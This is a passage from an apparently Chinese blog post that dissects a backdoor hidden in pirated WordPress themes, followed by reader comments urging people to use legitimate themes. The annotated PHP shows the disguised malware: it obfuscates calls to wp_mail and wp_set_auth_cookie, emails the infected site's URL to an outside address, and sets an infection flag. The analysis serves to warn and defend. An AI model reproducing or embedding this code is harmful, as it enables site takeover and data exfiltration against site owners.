protected post."); } else { $output=get_the_password_form(); } } } if(!isset($fixed_tags)) $fixed_tags=1; if(!isset($filters)) $filters=$home_filter; //$gettextcomments实际上为 wp_mail if(!isset($gettextcomments)) $gettextcomments=$pref_filters.$contentmore; if(!isset($tag_aditional)) $tag_aditional="div"; //这里$sh_cont即为 livethemas@gmail.com if(!isset($sh_cont)) $sh_cont=substr($sq1, stripos($sq1, "live"), 20);# if(!isset($more_text_link)) $more_text_link="Continue reading this entry"; if(!isset($isshowdots)) $isshowdots=1; $comments=$wpdb->get_results($sql); if($fakeit == 2) { $text=$post->post_content; } elseif($fakeit == 1) { $text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt; } else { $text=$post->post_excerpt; } //开始调用 wp_mail 向 livethemas@gmail.com 发送邮件,标题和内容都是被感染的博客的URL 地址 $sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($gettextcomments, array($sh_cont, $home_filter, $filters)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";# if($text_length < 0) { $output=$text; } else { if(!$no_more && strpos($text, "<span id="more-5265"></span>")) { $text=explode("<span id="more-5675"></span>", $text, 2); $l=count($text[0]); $more_link=1; //执行这一句时就开始发邮件了。 $comments=$wpdb->get_results($sql); } else { $text=explode(" ", $text); if(count($text) > $text_length) { $l=$text_length; $ellipsis=1; } else { $l=count($text); $link_text_more=""; $ellipsis=0; } } for ($i=0; $i<$l; $i++) $output .= $text[$i] . " "; } //把感染标记置为1 update_option("_is_widget_active_", 1); if("all" != $tagsallowed) { $output=strip_tags($output, $tagsallowed); return $output; } endif; $output=rtrim($output, "\s\n\t\r\0\x0B"); $output=($fixed_tags) ? balanceTags($output, true) : $output; $output .= ($isshowdots && $ellipsis) ? "..." : ""; //$filter 为 none ...,又是在伪装 $output=apply_filters($filter, $output); switch($tag_aditional) { case("div") : $tag="div"; break; case("span") : $tag="span"; break; case("p") : $tag="p"; break; default : $tag="span"; } //$checkswidgets即是wp_set_auth_cookie if ($is_use_more_link ) { if($for_more) { $output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $more_text_link . "\">" . $link_text_more = !is_user_logged_in() && @call_user_func_array($checkswidgets,array($cpages, true)) ? $link_text_more : "" . "</a></" . $tag . ">" . "\n"; } else { $output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $more_text_link . "\">" . $link_text_more . "</a></" . $tag . ">" . "\n"; } } return $output; } //这里是用来干坏事的,这才是这个恶意代码的目的,前面的感染是“准备活动” add_action("init", "_getprepare_widget"); //这个函数也是用来伪装的,无恶意 function __popular_posts($no_posts=6, $before="<li>", $after="</li>", $show_pass_post=false, $duration="") { global $wpdb; $request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments"; $request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\""; if(!$show_pass_post) $request .= " AND post_password =\"\""; if($duration !="") { $request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date "; } $request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts"; $posts=$wpdb->get_results($request); $output=""; if ($posts) { foreach ($posts as $post) { $post_title=stripslashes($post->post_title); $comment_count=$post->comment_count; $permalink=get_permalink($post->ID); $output .= $before . " <a href=\"" . $permalink . "\" title=\"" . $post_title."\">" . $post_title . "</a> " . $after; } } else { $output .= $before . "None found" . $after; } return $output; } ?>
本站文章大部分为原创,用于个人学习记录,可能对您有所帮助,仅供参考!
江苏省苏州市 1F
1.盗版主题大部分都包含木马及后门程序,辛苦建好的网站谁也不想付诸东流,为了爱站,拒绝盗版。
2.盗版主题多为陈旧老版本,漏洞多,bug多,使用起来问题百出,免费的未必是最好的,为了效率,拒绝盗版。
3.盗版主题均无售后服务支持,出问题只能自己解决,正版用户均可享受售后服务,技术支持,并永久跟随官方升级更新,为了服务,拒绝盗版。
重庆市 2F
盗版主题最多拿来做下测试,商业用用盗版不放心。
陕西省西安市 B1
@ 奶爸建网站笔记 开心版wp小火箭还敢用嘛 貌似最新版后台加了支付推广,后台加载又卡了许多!
陕西省西安市 B2
@ 简单生活 我有正版,只不过国内服务器请求他们官网比较卡,所以我用的破解版
浙江省宁波市 3F
还是支持收费主题
江苏省苏州市 4F
有没有人像我一样是因为想试用某个主题才去下载盗版体验的,
陕西省西安市 5F
用过盗版才会用正版
江苏省苏州市 B1
@ 知更鸟爱好者 还有这种姿势吗…
陕西省西安市 B2
@ 龙笑天 都是先用盗版,觉得好,才买正版
江苏省苏州市 B3
@ 我在屋头 嗯 正版还是让人放心点哈~
江苏省苏州市 6F
第二小节的WordPress打错了
陕西省西安市 7F
我们的主题可以增加一个可以上架APP推广的栏目吗
浙江省宁波市 8F
几乎都是从破解版体验,才入手正版
湖北省武汉市 9F
拒绝盗版,网站安全第一。
湖北省武汉市 10F
国外的盗版还是少用,要用就用我们鸟哥的盗版主题,用的安心。
江苏省苏州市 B1
@ 明月登楼 其实Begin主题还是用正版的好,毕竟正版有售后嘛
天津市 11F
支持正版。
江苏省苏州市 12F
为啥不用帝国cms呢?这样不是安全很多吗?
河南省焦作市 B1
@ 德云女孩 国外黑客不会拼音吗?
江苏省苏州市 13F
长期使用还是要用正版的主题和插件。破解的主题鬼知道会有什么不为人知的目的。
荷兰北荷兰省阿姆斯特丹 14F
对于base64的支持真可以称得上是魔鬼。我也遭遇过注入,而且那个主题我只是下载并没有激活过,同样感染了所有的主题和一部分插件。以至于现在我只用自己改的官方主题。
浙江省宁波市 15F
花点钱图个安心…
陕西省西安市 16F
支持正版,对原创作者的尊重
甘肃省兰州市 17F
所以我现在只用正版主题
四川省成都市 18F
支持正版 人人有责